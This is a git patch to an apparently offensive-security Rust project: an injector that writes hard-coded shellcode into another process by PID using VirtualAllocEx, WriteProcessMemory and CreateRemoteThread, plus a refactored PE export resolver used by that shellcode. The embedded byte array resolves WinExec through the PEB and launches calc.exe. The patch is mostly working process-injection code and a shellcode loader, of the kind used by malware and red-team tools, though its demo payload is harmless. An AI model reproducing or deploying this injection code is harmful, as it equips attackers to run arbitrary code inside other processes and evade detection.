From 1bb4c08589f0a975cdeb10d9990e88d19fecf7ad Mon Sep 17 00:00:00 2001 From: flux <49762827+0xflux@users.noreply.github.com> Date: Sun, 16 Jun 2024 19:40:25 +0100 Subject: [PATCH] tidy up --- injector/src/main.rs | 79 +++++++++++++++++++++++++++------------ shellcode/src/resolver.rs | 16 ++++---- 2 files changed, 63 insertions(+), 32 deletions(-) diff --git a/injector/src/main.rs b/injector/src/main.rs index 01abc37..79bfdb7 100644 --- a/injector/src/main.rs +++ b/injector/src/main.rs @@ -3,17 +3,37 @@ use anyhow::Result; use windows::Win32::{Foundation::GetLastError, System::{Diagnostics::Debug::WriteProcessMemory, Memory::{VirtualAlloc, VirtualAllocEx, VirtualFree, VirtualProtectEx, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE}, Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS, PROCESS_VM_OPERATION, PROCESS_VM_WRITE}}}; fn main() { - let payload = match read_shellcode_file() { - Ok(s) => s, - Err(e) => panic!("[-] Unable to read shellcode from file: {e}"), - }; + // let payload = match read_shellcode_file() { + // Ok(s) => s, + // Err(e) => panic!("[-] Unable to read shellcode from file: {e}"), + // }; - // let payload: [u8; 512] = [ - // 0xe9,0xed,0x00,0x00,0x00,0x10,0x00,0x00,0xac,0x11,0x00,0x00,0xf2,0x10,0x00,0x00,0x87,0x11,0x00,0x00,0xb8,0x11,0x00,0x00,0x87,0x11,0x00,0x00,0xa9,0x11,0x00,0x00,0xc0,0x11,0x00,0x00,0x4b,0x00,0x45,0x00,0x52,0x00,0x4e,0x00,0x45,0x00,0x4c,0x00,0x33,0x00,0x32,0x00,0x2e,0x00,0x44,0x00,0x4c,0x00,0x4c,0x00,0x00,0x00,0x4c,0x6f,0x61,0x64,0x4c,0x69,0x62,0x72,0x61,0x72,0x79,0x41,0x00,0x65,0x66,0x67,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x80,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x56,0x53,0x50,0x66,0x81,0x39,0x4d,0x5a,0x75,0x6e,0xb8,0x78,0x56,0x34,0x12,0x81,0x39,0x50,0x45,0x00,0x00,0x75,0x6c,0x8b,0x51,0x18,0x45,0x31,0xc0,0x4c,0x8d,0x0d,0xb2,0xff,0xff,0xff,0x49,0x39,0xd0,0x74,0x5a,0x46,0x8b,0x14,0x81,0x49,0x89,0xcb,0x41,0x80,0x3b,0x00,0x4d,0x8d,0x5b,0x01,0x75,0xf6,0x49,0x01,0xca,0x4c,0x89,0xd0,0x49,0xc7,0xc3,0xff,0xff,0xff,0xff,0x43,0x80,0x7c,0x1a,0x01,0x00,0x4d,0x8d,0x5b,0x01,0x75,0xf4,0x49,0xff,0xc0,0x49,0x83,0xfb,0x0c,0x75,0xc8,0x45,0x31,0xdb,0x49,0x83,0xfb,0x0c,0x74,0x1b,0x43,0x8a,0x1c,0x1a,0x49,0x8d,0x73,0x01,0x43,0x3a,0x1c,0x0b,0x49,0x89,0xf3,0x74,0xe9,0xeb,0xac,0xcc,0xb8,0x78,0x56,0x34,0x12,0xeb,0x03,0x48,0x89,0xc8,0x48,0x83,0xc4,0x08,0x5b,0x5e,0xc3,0x48,0x83,0xec,0x28,0x48,0xc7,0xc1,0x00,0x00,0x00,0x00,0x48,0xc7,0xc2,0x00,0x00,0x00,0x00,0x65,0x48,0x8b,0x0c,0x25,0x60,0x00,0x00,0x00,0x48,0x8b,0x51,0x18,0x48,0x8b,0x42,0x10,0x48,0x8d,0x15,0x08,0xff,0xff,0xff,0x48,0x89,0xc1,0x4c,0x8b,0x41,0x60,0x4d,0x85,0xc0,0x74,0x3d,0x66,0x83,0x79,0x58,0x00,0x74,0x36,0x49,0xc7,0xc1,0xff,0xff,0xff,0xff,0x66,0x43,0x83,0x7c,0x48,0x02,0x00,0x4d,0x8d,0x49,0x01,0x75,0xf3,0x49,0x83,0xf9,0x0c,0x75,0x1c,0x45,0x31,0xc9,0x49,0x83,0xf9,0x18,0x74,0x22,0x45,0x0f,0xb7,0x14,0x11,0x4d,0x8d,0x59,0x02,0x66,0x47,0x3b,0x14,0x08,0x4d,0x89,0xd9,0x74,0xe7,0x48,0x8b,0x09,0x48,0x39,0xc1,0x75,0xb2,0xb9,0x78,0x56,0x34,0x12,0xeb,0x04,0x48,0x8b,0x49,0x30,0xe8,0xeb,0xfe,0xff,0xff,0x48,0x89,0xc1,0xe8,0x02,0x00,0x00,0x00,0xeb,0xfe,0x48,0x83,0xec,0x10,0x48,0x8d,0x05,0xb9,0xfe,0xff,0xff,0x48,0x89,0x04,0x24,0x48,0x89,0x4c,0x24,0x08,0x48,0x8b,0x04,0x24,0x48,0x8b,0x44,0x24,0x08,0x48,0x83,0xc4,0x10,0xc3,0xcc,0xcc,0xcc,0x01,0x03,0x03,0x00,0x03,0x02,0x02,0x30,0x01,0x60,0x00,0x00,0x01,0x04,0x01,0x00,0x04,0x42,0x00,0x00,0x01,0x04,0x01,0x00,0x04,0x12,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]; + let payload: [u8; 433] = [ + 0xeb,0x4e,0x00,0x00,0x9f,0x11,0x00,0x00,0xa0,0x11,0x00,0x00,0x4b,0x00,0x45,0x00,0x52,0x00,0x4e,0x00,0x45,0x00,0x4c,0x00, + 0x33,0x00,0x32,0x00,0x2e,0x00,0x44,0x00,0x4c,0x00,0x4c,0x00,0x00,0x00,0x57,0x69,0x6e,0x45,0x78,0x65,0x63,0x00,0x63,0x61, + 0x6c,0x63,0x2e,0x65,0x78,0x65,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x80,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x41,0x56,0x56,0x57,0x55,0x53,0x48,0x83,0xec,0x20,0x48,0xc7,0xc1,0x00,0x00,0x00, + 0x00,0x48,0xc7,0xc2,0x00,0x00,0x00,0x00,0x65,0x48,0x8b,0x0c,0x25,0x60,0x00,0x00,0x00,0x48,0x8b,0x51,0x18,0x48,0x8b,0x42, + 0x10,0x48,0x8d,0x15,0x8c,0xff,0xff,0xff,0x48,0x89,0xc1,0x4c,0x8b,0x41,0x60,0x4d,0x85,0xc0,0x74,0x3d,0x66,0x83,0x79,0x58, + 0x00,0x74,0x36,0x49,0xc7,0xc1,0xff,0xff,0xff,0xff,0x66,0x43,0x83,0x7c,0x48,0x02,0x00,0x4d,0x8d,0x49,0x01,0x75,0xf3,0x49, + 0x83,0xf9,0x0c,0x75,0x1c,0x45,0x31,0xc9,0x49,0x83,0xf9,0x18,0x74,0x22,0x45,0x0f,0xb7,0x14,0x11,0x4d,0x8d,0x59,0x02,0x66, + 0x47,0x3b,0x14,0x08,0x4d,0x89,0xd9,0x74,0xe7,0x48,0x8b,0x09,0x48,0x39,0xc1,0x75,0xb2,0xb8,0x78,0x56,0x34,0x12,0xeb,0x04, + 0x48,0x8b,0x41,0x30,0x41,0xb8,0x78,0x56,0x34,0x12,0x66,0x81,0x38,0x4d,0x5a,0x0f,0x85,0x99,0x00,0x00,0x00,0x8b,0x48,0x3c, + 0x44,0x8b,0x84,0x08,0x88,0x00,0x00,0x00,0x42,0x8b,0x54,0x00,0x18,0x42,0x8b,0x4c,0x00,0x1c,0x46,0x8b,0x4c,0x00,0x20,0x46, + 0x8b,0x44,0x00,0x24,0x31,0xdb,0x4c,0x8d,0x15,0x11,0xff,0xff,0xff,0x48,0x39,0xd3,0x74,0x7d,0x48,0x8d,0x73,0x01,0x41,0x89, + 0xdb,0x43,0x8d,0x3c,0x99,0x8b,0x3c,0x38,0x80,0x3c,0x38,0x00,0x48,0x89,0xf3,0x74,0xe4,0x48,0x01,0xc7,0x49,0xc7,0xc6,0xff, + 0xff,0xff,0xff,0x42,0x80,0x7c,0x37,0x01,0x00,0x4d,0x8d,0x76,0x01,0x75,0xf4,0x48,0x89,0xf3,0x49,0x83,0xfe,0x07,0x75,0xc5, + 0x31,0xdb,0x48,0x83,0xfb,0x07,0x74,0x16,0x42,0x8a,0x2c,0x13,0x4c,0x8d,0x73,0x01,0x40,0x3a,0x2c,0x1f,0x4c,0x89,0xf3,0x74, + 0xe9,0x48,0x89,0xf3,0xeb,0xa7,0x43,0x8d,0x14,0x58,0x0f,0xb7,0x14,0x10,0x81,0xe2,0xff,0x3f,0x00,0x00,0x8d,0x0c,0x91,0x44, + 0x8b,0x04,0x08,0x49,0x01,0xc0,0x48,0x8d,0x0d,0xa1,0xfe,0xff,0xff,0xba,0x01,0x00,0x00,0x00,0x41,0xff,0xd0,0xeb,0xfe,0x41, + 0xb8,0x44,0x33,0x22,0x11,0xeb,0xe7,0xcc,0x01,0x0a,0x06,0x00,0x0a,0x32,0x06,0x30,0x05,0x50,0x04,0x70,0x03,0x60,0x02,0xe0, + 0x00, + ]; let pid = collect_proc_addr(); - // GET HANDLE TO PID + // #################################################### + // GET HANDLE TO REMOTE PROCESS let h_process = unsafe { OpenProcess(PROCESS_ALL_ACCESS, false, pid) }; let h_process = match h_process { Ok(h) => { @@ -27,34 +47,44 @@ fn main() { let payload_ptr: *const c_void = payload.as_ptr() as *const c_void; unsafe { + // #################################################### + // ALLOCATE MEMORY IN REMOTE PROCESS + let remotememory_ptr: *mut c_void = VirtualAllocEx(h_process, None, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if !remotememory_ptr.is_null() { - println!("[+] Allocated memory address: {:p}", remotememory_ptr); + if remotememory_ptr.is_null() { + panic!("[-] Did not create memory. {:?}", GetLastError()); + } + println!("[+] Allocated memory address: {:p}", remotememory_ptr); - let result_writeprocessmemory = WriteProcessMemory(h_process, - remotememory_ptr, payload_ptr, payload_len, None); - match result_writeprocessmemory { - Ok(_) => { - println!("[+] Successfully wrote process memory."); + // #################################################### + // WRITE PROCESS MEMORY - - let result_createremotethread = CreateRemoteThread(h_process, - None, 0, transmute(remotememory_ptr), None, 0, None); + let result_writeprocessmemory = WriteProcessMemory(h_process, + remotememory_ptr, payload_ptr, payload_len, None); - match result_createremotethread { - Ok(_) => println!("[+] Thread created"), - Err(e) => eprintln!("[-] Error creating thread {e}"), - } - }, - Err(e) => eprintln!("[-] Error writing process memory {e}"), - } + if let Err(e) = result_writeprocessmemory { + panic!("[-] Error writing process memory {e}"); + } + println!("[+] Successfully wrote process memory."); + + + // #################################################### + // CREATE REMOTE THREAD + + let result_createremotethread = CreateRemoteThread(h_process, + None, 0, transmute(remotememory_ptr), None, 0, None); + + match result_createremotethread { + Ok(_) => println!("[+] Thread created"), + Err(e) => eprintln!("[-] Error creating thread {e}"), } } } +/// Get the pid from the command line when the user starts the program fn collect_proc_addr() -> u32 { let args: Vec = env::args().collect(); @@ -69,6 +99,7 @@ fn collect_proc_addr() -> u32 { pid_as_int } +/// If not hard coding shellcode, read from specified file. fn read_shellcode_file() -> Result> { let mut shellcode_file = File::open(r"C:\Users\ian\git\rust_shellcode\builder\output\shellcode.bin")?; let mut shellcode_buffer = Vec::new(); diff --git a/shellcode/src/resolver.rs b/shellcode/src/resolver.rs index 2d9bbaf..34ad383 100644 --- a/shellcode/src/resolver.rs +++ b/shellcode/src/resolver.rs @@ -58,7 +58,7 @@ pub extern "system" fn get_function_from_exports(dll_base: *const c_void, needle // cast the dos header let dos_header = &*(dll_base as *const IMAGE_DOS_HEADER); if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { - return 0x12345678 as *const c_void; + return 0x87654321 as *const c_void; } // get us to the export directory @@ -76,14 +76,14 @@ pub extern "system" fn get_function_from_exports(dll_base: *const c_void, needle // iterate through each export, looking for our chosen for i in 0..number_of_names { - let name_rva_p: *const DWORD = (dll_base as *const u8).offset((addr_of_names + i * 4) as isize) as *const _; - let name_index_p: *const WORD = (dll_base as *const u8).offset((addr_of_ords + i * 2) as isize) as *const _; - let name_index = name_index_p.as_ref().unwrap(); - let mut off: u32 = (4 * name_index) as u32; - off = off + addr_of_funcs; - let func_rva: *const DWORD = (dll_base as *const u8).offset(off as _) as *const _; + let p_name_rva: *const DWORD = (dll_base as *const u8).offset((addr_of_names + i * 4) as isize) as *const _; + let p_name_index: *const WORD = (dll_base as *const u8).offset((addr_of_ords + i * 2) as isize) as *const _; + let name_index = p_name_index.as_ref().unwrap(); + let mut offset: u32 = (4 * name_index) as u32; + offset = offset + addr_of_funcs; + let func_rva: *const DWORD = (dll_base as *const u8).offset(offset as _) as *const _; - let name_rva = name_rva_p.as_ref().unwrap(); + let name_rva = p_name_rva.as_ref().unwrap(); let curr_name = (dll_base as *const u8).offset(*name_rva as isize); if *curr_name == 0 {